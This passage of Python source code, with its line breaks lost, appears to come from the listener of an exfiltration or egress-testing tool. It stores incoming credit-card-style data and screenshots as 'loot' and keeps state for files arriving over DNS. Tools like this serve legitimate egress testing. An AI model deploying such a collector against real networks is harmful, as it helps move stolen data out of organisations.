# Write out the file with open(loot_path + screenshot_name, 'a') as cc_data_file: cc_data_file.write('METADATA: From: ' + str(self.client_address) + ' ' + str(self.address_string) + '\n\n') cc_data_file.write(str(screen_data)) # All other Post requests else: self.send_response(404) self.end_headers() print('Odd... someone else is trying to access this web server...') print('Might want to check that out...')
# I REALLY hate using globals, unfortunately I am not aware of a better # solution at this time. The problem that globals fix in this situation # is that a dictionary is required to maintain the state of the DNS file data # before writing it to a file. The state cannot be maintained in the class # BaseRequestHandler, because it is run for every request # # A couple of things that may be able to solve this problem: # 1. A way to pass a method from class Server to the class BaseRequestHandler # which can set/retrieve the attributes of the Server class from the BaseRequestHandler # 2. Writing a custom SocketServer class that has additional attributes to maintain the state # of the FILE_DICT # 3. Maintain the GLOBAL variables # # I would prefer #1 if possible, I am unaware of how to do this currently though. LOOT_PATH = os.path.join(helpers.ea_path(), "data") + "/" FILE_DICT = {} FILE_NAME = "" FILE_STATUS = "0" LAST_PACKET = "" def setFileName(): global FILE_NAME current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") FILE_NAME = current_date.replace("/", "") +\ "_" + current_time.replace(":", "") + "text_data.txt"